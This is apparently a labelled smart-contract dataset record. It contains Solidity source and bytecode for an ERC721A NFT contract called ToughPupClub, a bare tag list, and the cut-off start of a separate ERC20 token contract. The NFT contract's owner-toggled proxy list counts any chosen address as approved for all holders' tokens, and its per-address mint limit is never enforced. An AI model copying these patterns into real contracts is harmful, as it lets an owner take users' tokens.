memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: erc721a/contracts/extensions/ERC721ABurnable.sol // Creator: Chiru Labs pragma solidity ^0.8.4; /** * @title ERC721A Burnable Token * @dev ERC721A Token that can be irreversibly burned (destroyed). */ abstract contract ERC721ABurnable is Context, ERC721A { /** * @dev Burns `tokenId`. See {ERC721A-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); _burn(tokenId); } } // File: tough.sol pragma solidity ^0.8.12; contract ToughPupClub is ERC721A("ToughPupClub", "TPC"), Ownable, ERC721ABurnable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.08 * 1e18; uint256 public maxSupply = 10_000; uint256 public reservedSupply = 250; uint256 public maxMintAmount = 20; uint256 public nftPerAddressLimit = 20; uint256 public publicmintActiveTime; function _startTokenId() internal pure override returns (uint256) { return 1; } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { require(block.timestamp > publicmintActiveTime, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount + reservedSupply <= maxSupply, "max NFT limit exceeded"); require(msg.value >= cost * _mintAmount, "insufficient funds"); _safeMint(msg.sender, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) { if (index >= balanceOf(owner)) revert OwnerIndexOutOfBounds(); uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; address currOwnershipAddr; unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.burned) continue; if (ownership.addr != address(0)) currOwnershipAddr = ownership.addr; if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) return i; tokenIdsIdx++; } } } revert(); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setMaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setPublicMintActiveTime(uint256 _publicmintActiveTime) public onlyOwner { publicmintActiveTime = _publicmintActiveTime; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } /////////////////////////////////// // AIRDROP CODE STARTS // /////////////////////////////////// function reservedNFTs(address[] calldata _sendNftsTo, uint256 _howMany) external onlyOwner { reservedSupply -= _sendNftsTo.length * _howMany; for (uint256 i = 0; i < _sendNftsTo.length; i++) _safeMint(_sendNftsTo[i], _howMany); } /////////////////////////// // AUTO APPROVE OPENSEA // /////////////////////////// mapping(address => bool) public projectProxy; // check public vs private vs internal gas function flipProxyState(address proxyAddress) public onlyOwner { projectProxy[proxyAddress] = !projectProxy[proxyAddress]; } // set auto approve for trusted marketplaces here function isApprovedForAll(address _owner, address _operator) public view override returns (bool) { if (projectProxy[_operator]) return true; // ANY OTHER Marketplace return super.isApprovedForAll(_owner, _operator); } }
0x6080604052600436106102305760003560e01c80636c0360eb1161012e578063c6682862116100ab578063da3ef23f1161006f578063da3ef23f1461063f578063e985e9c51461065f578063f2fde38b1461067f578063f30cee461461069f578063f73c814b146106bf57600080fd5b8063c6682862146105b4578063c87b56dd146105c9578063c9def842146105e9578063d0eb26b014610609578063d5abeb011461062957600080fd5b8063a0712d68116100f2578063a0712d6814610535578063a22cb46514610548578063a8365e5e14610568578063b88d4fde1461057e578063ba7d2c761461059e57600080fd5b80636c0360eb146104b857806370a08231146104cd578063715018a6146104ed5780638da5cb5b1461050257806395d89b411461052057600080fd5b80632f745c59116101bc57806344a0d68a1161018057806344a0d68a1461041257806344d19d2b1461043257806355f804b3146104485780635bab26e2146104685780636352211e1461049857600080fd5b80632f745c591461037d5780633ccfd60b1461039d57806342842e0e146103a557806342966c68146103c5578063438b6300146103e557600080fd5b8063095ea7b311610203578063095ea7b3146102e657806313faede61461030657806318160ddd1461032a578063239c70ae1461034757806323b872dd1461035d57600080fd5b806301ffc9a71461023557806306fdde031461026a578063081812fc1461028c578063088a4ed0146102c4575b600080fd5b34801561024157600080fd5b50610255610250366004611d18565b6106df565b60405190151581526020015b60405180910390f35b34801561027657600080fd5b5061027f610731565b6040516102619190611d8d565b34801561029857600080fd5b506102ac6102a7366004611da0565b6107c3565b6040516001600160a01b039091168152602001610261565b3480156102d057600080fd5b506102e46102df366004611da0565b610807565b005b3480156102f257600080fd5b506102e4610301366004611dd5565b61083f565b34801561031257600080fd5b5061031c600b5481565b604051908152602001610261565b34801561033657600080fd5b50600154600054036000190161031c565b34801561035357600080fd5b5061031c600e5481565b34801561036957600080fd5b506102e4610378366004611dff565b6108cd565b34801561038957600080fd5b5061031c610398366004611dd5565b6108d8565b6102e46109cb565b3480156103b157600080fd5b506102e46103c0366004611dff565b610a4d565b3480156103d157600080fd5b506102e46103e0366004611da0565b610a68565b3480156103f157600080fd5b50610405610400366004611e3b565b610ae5565b6040516102619190611e56565b34801561041e57600080fd5b506102e461042d366004611da0565b610b86565b34801561043e57600080fd5b5061031c600d5481565b34801561045457600080fd5b506102e4610463366004611f25565b610bb5565b34801561047457600080fd5b50610255610483366004611e3b565b60116020526000908152604090205460ff1681565b3480156104a457600080fd5b506102ac6104b3366004611da0565b610bf6565b3480156104c457600080fd5b5061027f610c08565b3480156104d957600080fd5b5061031c6104e8366004611e3b565b610c96565b3480156104f957600080fd5b506102e4610ce4565b34801561050e57600080fd5b506008546001600160a01b03166102ac565b34801561052c57600080fd5b5061027f610d1a565b6102e4610543366004611da0565b610d29565b34801561055457600080fd5b506102e4610563366004611f6d565b610ef5565b34801561057457600080fd5b5061031c60105481565b34801561058a57600080fd5b506102e4610599366004611fa9565b610f8b565b3480156105aa57600080fd5b5061031c600f5481565b3480156105c057600080fd5b5061027f610fdc565b3480156105d557600080fd5b5061027f6105e4366004611da0565b610fe9565b3480156105f557600080fd5b506102e4610604366004611da0565b6110b7565b34801561061557600080fd5b506102e4610624366004611da0565b6110e6565b34801561063557600080fd5b5061031c600c5481565b34801561064b57600080fd5b506102e461065a366004611f25565b611115565b34801561066b57600080fd5b5061025561067a366004612024565b611152565b34801561068b57600080fd5b506102e461069a366004611e3b565b6111a9565b3480156106ab57600080fd5b506102e46106ba366004612057565b611241565b3480156106cb57600080fd5b506102e46106da366004611e3b565b6112d9565b60006001600160e01b031982166380ac58cd60e01b148061071057506001600160e01b03198216635b5e139f60e01b145b8061072b57506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060028054610740906120d1565b80601f016020809104026020016040519081016040528092919081815260200182805461076c906120d1565b80156107b95780601f1061078e576101008083540402835291602001916107b9565b820191906000526020600020905b81548152906001019060200180831161079c57829003601f168201915b5050505050905090565b60006107ce8261132c565b6107eb576040516333d1c03960e21b815260040160405180910390fd5b506000908152600660205260409020546001600160a01b031690565b6008546001600160a01b0316331461083a5760405162461bcd60e51b81526004016108319061210c565b60405180910390fd5b600e55565b600061084a82610bf6565b9050806001600160a01b0316836001600160a01b0316141561087f5760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b0382161480159061089f575061089d8133611152565b155b156108bd576040516367d9dca160e11b815260040160405180910390fd5b6108c8838383611365565b505050565b6108c88383836113c1565b60006108e383610c96565b8210610902576040516306ed618760e11b815260040160405180910390fd5b600080549080805b838110156109c557600081815260046020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff16158015928201929092529061097157506109bd565b80516001600160a01b03161561098657805192505b876001600160a01b0316836001600160a01b031614156109bb57868414156109b45750935061072b92505050565b6001909301925b505b60010161090a565b50600080fd5b6008546001600160a01b031633146109f55760405162461bcd60e51b81526004016108319061210c565b604051600090339047908381818185875af1925050503d8060008114610a37576040519150601f19603f3d011682016040523d82523d6000602084013e610a3c565b606091505b5050905080610a4a57600080fd5b50565b6108c883838360405180602001604052806000815250610f8b565b6000610a73826115c3565b80519091506000906001600160a01b0316336001600160a01b03161480610aa157508151610aa19033611152565b80610abc575033610ab1846107c3565b6001600160a01b0316145b905080610adc57604051632ce44b5f60e11b815260040160405180910390fd5b6108c8836116ea565b60606000610af283610c96565b90506000816001600160401b03811115610b0e57610b0e611e9a565b604051908082528060200260200182016040528015610b37578160200160208202803683370190505b50905060005b82811015610b7e57610b4f85826108d8565b828281518110610b6157610b61612141565b602090810291909101015280610b768161216d565b915050610b3d565b509392505050565b6008546001600160a01b03163314610bb05760405162461bcd60e51b81526004016108319061210c565b600b55565b6008546001600160a01b03163314610bdf5760405162461bcd60e51b81526004016108319061210c565b8051610bf2906009906020840190611c69565b5050565b6000610c01826115c3565b5192915050565b60098054610c15906120d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610c41906120d1565b8015610c8e5780601f10610c6357610100808354040283529160200191610c8e565b820191906000526020600020905b815481529060010190602001808311610c7157829003601f168201915b505050505081565b60006001600160a01b038216610cbf576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600560205260409020546001600160401b031690565b6008546001600160a01b03163314610d0e5760405162461bcd60e51b81526004016108319061210c565b610d186000611854565b565b606060038054610740906120d1565b6010544211610d735760405162461bcd60e51b81526020600482015260166024820152751d1a194818dbdb9d1c9858dd081a5cc81c185d5cd95960521b6044820152606401610831565b6000610d886001546000546000199190030190565b905060008211610dda5760405162461bcd60e51b815260206004820152601b60248201527f6e65656420746f206d696e74206174206c656173742031204e465400000000006044820152606401610831565b600e54821115610e385760405162461bcd60e51b8152602060048201526024808201527f6d6178206d696e7420616d6f756e74207065722073657373696f6e20657863656044820152631959195960e21b6064820152608401610831565b600c54600d54610e488484612188565b610e529190612188565b1115610e995760405162461bcd60e51b81526020600482015260166024820152751b585e08139195081b1a5b5a5d08195e18d95959195960521b6044820152606401610831565b81600b54610ea791906121a0565b341015610eeb5760405162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e742066756e647360701b6044820152606401610831565b610bf233836118a6565b6001600160a01b038216331415610f1f5760405163b06307db60e01b815260040160405180910390fd5b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610f968484846113c1565b6001600160a01b0383163b15158015610fb85750610fb6848484846118c0565b155b15610fd6576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b600a8054610c15906120d1565b6060610ff48261132c565b6110585760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610831565b60006110626119a9565b9050600081511161108257604051806020016040528060008152506110b0565b8061108c846119b8565b600a6040516020016110a0939291906121bf565b6040516020818303038152906040525b9392505050565b6008546001600160a01b031633146110e15760405162461bcd60e51b81526004016108319061210c565b601055565b6008546001600160a01b031633146111105760405162461bcd60e51b81526004016108319061210c565b600f55565b6008546001600160a01b0316331461113f5760405162461bcd60e51b81526004016108319061210c565b8051610bf290600a906020840190611c69565b6001600160a01b03811660009081526011602052604081205460ff161561117b5750600161072b565b6001600160a01b0380841660009081526007602090815260408083209386168352929052205460ff166110b0565b6008546001600160a01b031633146111d35760405162461bcd60e51b81526004016108319061210c565b6001600160a01b0381166112385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610831565b610a4a81611854565b6008546001600160a01b0316331461126b5760405162461bcd60e51b81526004016108319061210c565b61127581836121a0565b600d60008282546112869190612283565b90915550600090505b82811015610fd6576112c78484838181106112ac576112ac612141565b90506020020160208101906112c19190611e3b565b836118a6565b806112d18161216d565b91505061128f565b6008546001600160a01b031633146113035760405162461bcd60e51b81526004016108319061210c565b6001600160a01b03166000908152601160205260409020805460ff19811660ff90911615179055565b600081600111158015611340575060005482105b801561072b575050600090815260046020526040902054600160e01b900460ff161590565b60008281526006602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60006113cc826115c3565b80519091506000906001600160a01b0316336001600160a01b031614806113fa575081516113fa9033611152565b8061141557503361140a846107c3565b6001600160a01b0316145b90508061143557604051632ce44b5f60e11b815260040160405180910390fd5b846001600160a01b031682600001516001600160a01b03161461146a5760405162a1148160e81b815260040160405180910390fd5b6001600160a01b03841661149157604051633a954ecd60e21b815260040160405180910390fd5b6114a16000848460000151611365565b6001600160a01b038581166000908152600560209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600490945282852080546001600160e01b031916909417600160a01b42909216919091021790925590860180835291205490911661158b5760005481101561158b57825160008281526004602090815260409091208054918601516001600160401b0316600160a01b026001600160e01b03199092166001600160a01b03909316929092171790555b5082846001600160a01b0316866001600160a01b031660008051602061233383398151915260405160405180910390a45b5050505050565b604080516060810182526000808252602082018190529181019190915281806001111580156115f3575060005481105b156116d157600081815260046020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff161515918101829052906116cf5780516001600160a01b031615611666579392505050565b5060001901600081815260046020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff16151592810192909252156116ca579392505050565b611666565b505b604051636f96cda160e11b815260040160405180910390fd5b60006116f5826115c3565b90506117076000838360000151611365565b80516001600160a01b039081166000908152600560209081526040808320805467ffffffffffffffff1981166001600160401b0391821660001901821617909155855185168452818420805467ffffffffffffffff60801b198116600160801b9182900484166001908101851690920217909155865188865260049094528285208054600160e01b9588166001600160e01b031990911617600160a01b42909416939093029290921760ff60e01b191693909317905590850180835291205490911661181e5760005481101561181e57815160008281526004602090815260409091208054918501516001600160401b0316600160a01b026001600160e01b03199092166001600160a01b03909316929092171790555b50805160405183916000916001600160a01b0390911690600080516020612333833981519152908390a450506001805481019055565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610bf2828260405180602001604052806000815250611ab5565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a02906118f590339089908890889060040161229a565b6020604051808303816000875af1925050508015611930575060408051601f3d908101601f1916820190925261192d918101906122d7565b60015b61198b573d80801561195e576040519150601f19603f3d011682016040523d82523d6000602084013e611963565b606091505b508051611983576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490505b949350505050565b606060098054610740906120d1565b6060816119dc5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611a0657806119f08161216d565b91506119ff9050600a8361230a565b91506119e0565b6000816001600160401b03811115611a2057611a20611e9a565b6040519080825280601f01601f191660200182016040528015611a4a576020820181803683370190505b5090505b84156119a157611a5f600183612283565b9150611a6c600a8661231e565b611a77906030612188565b60f81b818381518110611a8c57611a8c612141565b60200101906001600160f81b031916908160001a905350611aae600a8661230a565b9450611a4e565b6108c883838360016000546001600160a01b038516611ae657604051622e076360e81b815260040160405180910390fd5b83611b045760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038516600081815260056020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168c0181169182176801000000000000000067ffffffffffffffff1990941690921783900481168c01811690920217909155858452600490925290912080546001600160e01b031916909217600160a01b429092169190910217905580808501838015611bb557506001600160a01b0387163b15155b15611c2c575b60405182906001600160a01b03891690600090600080516020612333833981519152908290a4611bf460008884806001019550886118c0565b611c11576040516368d2bf6b60e11b815260040160405180910390fd5b80821415611bbb578260005414611c2757600080fd5b611c60565b5b6040516001830192906001600160a01b03891690600090600080516020612333833981519152908290a480821415611c2d575b506000556115bc565b828054611c75906120d1565b90600052602060002090601f016020900481019282611c975760008555611cdd565b82601f10611cb057805160ff1916838001178555611cdd565b82800160010185558215611cdd579182015b82811115611cdd578251825591602001919060010190611cc2565b50611ce9929150611ced565b5090565b5b80821115611ce95760008155600101611cee565b6001600160e01b031981168114610a4a57600080fd5b600060208284031215611d2a57600080fd5b81356110b081611d02565b60005b83811015611d50578181015183820152602001611d38565b83811115610fd65750506000910152565b60008151808452611d79816020860160208601611d35565b601f01601f19169290920160200192915050565b6020815260006110b06020830184611d61565b600060208284031215611db257600080fd5b5035919050565b80356001600160a01b0381168114611dd057600080fd5b919050565b60008060408385031215611de857600080fd5b611df183611db9565b946020939093013593505050565b600080600060608486031215611e1457600080fd5b611e1d84611db9565b9250611e2b60208501611db9565b9150604084013590509250925092565b600060208284031215611e4d57600080fd5b6110b082611db9565b6020808252825182820181905260009190848201906040850190845b81811015611e8e57835183529284019291840191600101611e72565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b60006001600160401b0380841115611eca57611eca611e9a565b604051601f8501601f19908116603f01168101908282118183101715611ef257611ef2611e9a565b81604052809350858152868686011115611f0b57600080fd5b858560208301376000602087830101525050509392505050565b600060208284031215611f3757600080fd5b81356001600160401b03811115611f4d57600080fd5b8201601f81018413611f5e57600080fd5b6119a184823560208401611eb0565b60008060408385031215611f8057600080fd5b611f8983611db9565b915060208301358015158114611f9e57600080fd5b809150509250929050565b60008060008060808587031215611fbf57600080fd5b611fc885611db9565b9350611fd660208601611db9565b92506040850135915060608501356001600160401b03811115611ff857600080fd5b8501601f8101871361200957600080fd5b61201887823560208401611eb0565b91505092959194509250565b6000806040838503121561203757600080fd5b61204083611db9565b915061204e60208401611db9565b90509250929050565b60008060006040848603121561206c57600080fd5b83356001600160401b038082111561208357600080fd5b818601915086601f83011261209757600080fd5b8135818111156120a657600080fd5b8760208260051b85010111156120bb57600080fd5b6020928301989097509590910135949350505050565b600181811c908216806120e557607f821691505b6020821081141561210657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561218157612181612157565b5060010190565b6000821982111561219b5761219b612157565b500190565b60008160001904831182151516156121ba576121ba612157565b500290565b6000845160206121d28285838a01611d35565b8551918401916121e58184848a01611d35565b8554920191600090600181811c908083168061220257607f831692505b85831081141561222057634e487b7160e01b85526022600452602485fd5b808015612234576001811461224557612272565b60ff19851688528388019550612272565b60008b81526020902060005b8581101561226a5781548a820152908401908801612251565b505083880195505b50939b9a5050505050505050505050565b60008282101561229557612295612157565b500390565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906122cd90830184611d61565b9695505050505050565b6000602082840312156122e957600080fd5b81516110b081611d02565b634e487b7160e01b600052601260045260246000fd5b600082612319576123196122f4565b500490565b60008261232d5761232d6122f4565b50069056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220faebb0832af85e71c879cf935e915d9e1e8b7cc79b9f0838ee3f3f8ea05684e264736f6c634300080c0033
[ 5, 7, 12 ]
0xf20a560640c6ebbe04be436484fdc92a5446a851
// SPDX-License-Identifier: Unlicensed //Telegram: t.me/gintatama pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns 